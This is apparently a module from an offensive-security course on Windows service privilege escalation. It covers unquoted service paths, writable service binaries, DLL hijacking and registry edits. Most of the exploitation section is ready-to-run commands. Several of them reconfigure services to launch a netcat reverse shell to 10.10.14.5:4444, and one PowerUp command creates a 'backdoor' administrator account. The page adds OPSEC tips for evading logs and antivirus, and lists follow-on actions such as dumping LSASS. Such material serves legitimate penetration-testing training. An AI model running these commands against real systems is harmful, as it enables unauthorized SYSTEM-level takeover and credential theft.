Back to All Modules

Service Exploitation

#Overview

Windows services running as LocalSystem are prime privilege escalation targets. Insecure service permissions allow a low-privilege user to change the service binary path, unquoted service paths allow binary planting, writable service binaries allow direct replacement, and missing DLLs in the service path allow DLL hijacking. Service exploitation is the most common and reliable Windows privesc vector.

#Prerequisites

  • User-level shell (cmd or PowerShell)
  • Accesschk.exe, PowerUp.ps1, or sc command
  • Ability to restart services (SeShutdownPrivilege, or wait for reboot)

#Detection & Enumeration

rem List all services with details
sc query type=service state=all
sc qc <ServiceName>

rem WMI service enumeration
wmic service get name,pathname,startmode,startname
wmic service get name,pathname | findstr /v "C:\\Windows" | findstr /v """

rem PowerShell
Get-Service | Format-Table Name,Status,StartType
Get-WmiObject Win32_Service | Where-Object {$_.StartName -eq "LocalSystem"}

rem Manual check for unquoted service paths
wmic service get name,pathname | findstr /v "C:\\Windows\\system32\\" | findstr /i """
CMD
# PowerUp.ps1 service checks
. .\PowerUp.ps1
Invoke-AllChecks | Where-Object {$_.Check -like "*Service*"}
Get-ModifiableService
Get-ServiceUnquoted

# accesschk.exe (Sysinternals)
.\accesschk.exe /accepteula -uwcqv "Authenticated Users" *
.\accesschk.exe /accepteula -uwcqv %USERNAME% *
.\accesschk.exe /accepteula -uwcqv "Everyone" *
POWERSHELL

#Exploitation / Execution

#Modifying Service Binary Path (SERVICE_CHANGE_CONFIG)

When you have SERVICE_CHANGE_CONFIG or SERVICE_ALL_ACCESS on a service:

rem Check permissions
accesschk.exe /accepteula -ucqv <ServiceName>

rem Change binary path to spawn a reverse shell
sc config <ServiceName> binPath= "cmd.exe /c C:\Windows\Temp\nc64.exe 10.10.14.5 4444 -e cmd.exe"

rem Start the service (if you have SERVICE_START)
sc start <ServiceName>
rem or: net start <ServiceName>

rem If you can't start, check start type and reboot trigger
sc qc <ServiceName> | findstr START_TYPE
rem AUTO_START means it starts on boot

rem After exploitation, restore original binary path
sc config <ServiceName> binPath= "C:\Program Files\Legit\service.exe"
CMD

#Unquoted Service Paths

When a service binary path contains spaces and is not quoted:

rem Example unquoted path: C:\Program Files\Vuln App\service.exe
rem Windows tries: C:\Program.exe -> C:\Program Files\Vuln.exe -> C:\Program Files\Vuln App\service.exe

rem Check writability of parent directories
icacls "C:\Program Files\Vuln App"
icacls "C:\Program Files"

rem Create malicious binary in a writable parent directory
rem If C:\Program Files is writable (unlikely), place Program.exe there
rem If C:\Program Files\Vuln App is writable, place Vuln.exe there

copy C:\Windows\Temp\nc64.exe "C:\Program Files\Vuln App\Vuln.exe"
rem When service starts, it executes Vuln.exe instead of Vuln App\service.exe

rem Restart the service
sc start <ServiceName>
CMD

#Weak Service Executable Permissions

When the service binary itself is writable:

rem Check executable permissions
icacls "C:\Program Files\VulnApp\service.exe"

rem If MODIFY or FULL access granted to your user:
rem 1. Backup original
copy "C:\Program Files\VulnApp\service.exe" "C:\Program Files\VulnApp\service.bak"

rem 2. Replace with payload
copy C:\Windows\Temp\nc64.exe "C:\Program Files\VulnApp\service.exe"

rem 3. Restart service
sc stop <ServiceName>
sc start <ServiceName>

rem 4. Restore original
copy "C:\Program Files\VulnApp\service.bak" "C:\Program Files\VulnApp\service.exe"
CMD

#Service DLL Hijacking

When a service loads DLLs from a writable location:

rem Use Process Monitor to find missing DLLs loaded by the service
rem Set filter: Process Name is service.exe, Result is NAME NOT FOUND, Path ends with .dll

rem Create a malicious DLL with the missing DLL name
rem Compile DLL that spawns a reverse shell or adds user to Administrators

rem Place DLL in writable directory (often the service directory itself)
copy malicious.dll "C:\Program Files\VulnApp\missing.dll"

rem Restart service to load the DLL
CMD

#Service Restart Requirements

rem Check if you can restart the service
sc start <ServiceName>
rem Error code 5 = Access Denied
rem Error code 1056 = Already running
sc stop <ServiceName>

rem If you can't restart, check if service auto-starts on boot
sc qc <ServiceName> | findstr START_TYPE
rem AUTO_START or SYSTEM_START means it runs at boot
rem Trigger a system restart:
shutdown /r /t 0  # Immediate reboot (requires SeShutdownPrivilege)

rem Or wait for scheduled maintenance reboot
CMD

#PowerUp.ps1 Automated Service Checks

. .\PowerUp.ps1

# Find modifiable services
$ModifiableServices = Get-ModifiableService
$ModifiableServices | Format-Table ServiceName, ModifiablePath, ModifiableFile

# Find unquoted service paths
Get-ServiceUnquoted | Format-Table ServiceName, Path

# Auto-exploit modifiable services (careful!)
Invoke-ServiceAbuse -ServiceName "VulnService" -Command "C:\Windows\Temp\nc64.exe 10.10.14.5 4444 -e cmd"

# Write a custom C# service binary that adds admin user
# Compile and use:
Write-ServiceBinary -ServiceName "VulnService" -UserName backdoor -Password "Password123!" -Command "net localgroup administrators backdoor /add"
POWERSHELL

#Service Registry Modification

rem Service configuration is stored in registry
reg query "HKLM\SYSTEM\CurrentControlSet\Services\<ServiceName>"

rem Modify ImagePath via registry (alternative to sc config)
reg add "HKLM\SYSTEM\CurrentControlSet\Services\<ServiceName>" /v ImagePath /t REG_EXPAND_SZ /d "C:\Windows\Temp\nc64.exe 10.10.14.5 4444 -e cmd" /f
CMD

#Common Pitfalls

  • Service restart privileges: without SeShutdownPrivilege or SERVICE_START, you may not be able to restart; the change only works on next boot
  • Unquoted paths: check ALL parent directories in the path for writability, not just the service directory
  • Service recovery: if the service fails to start, Windows may attempt recovery actions, triggering your payload repeatedly
  • AV detection: replacing service binaries with known payloads (nc64.exe, MSFvenom) will trigger AV; consider custom payloads
  • Service crash: the service may be critical -- crashing it may trigger alerts or disrupt operations
  • Windows Defender: replacing service binaries with a copied nc64.exe is immediately detected by Defender

#OPSEC Considerations

  • Service configuration changes are logged in the System event log (event ID 7040).
  • Writable binary replacement leaves the service non-functional -- noticeable system disruption.
  • Unquoted path exploitation is a well-known technique and commonly checked by vulnerability scanners.
  • sc config changes persist across reboots -- clean up after exploitation.
  • The service binary approach is noisier than DLL hijacking (less process creation, subtler loading).

#Post-Exploitation Value

Service exploitation provides SYSTEM-level command execution. From SYSTEM, you can: dump LSASS, extract SAM/SYSTEM, create new admin users, install persistent services, disable AV, and pivot to other systems with machine account credentials.

#Cross-References

#Tool References

ToolLink
AccessChkhttps://learn.microsoft.com/en-us/sysinternals/downloads/accesschk
PowerUp.ps1https://github.com/PowerShellMafia/PowerSploit
Process Monitorhttps://learn.microsoft.com/en-us/sysinternals/downloads/procmon

#Source Machines

  • Generic Windows - Unquoted service paths and weak service permissions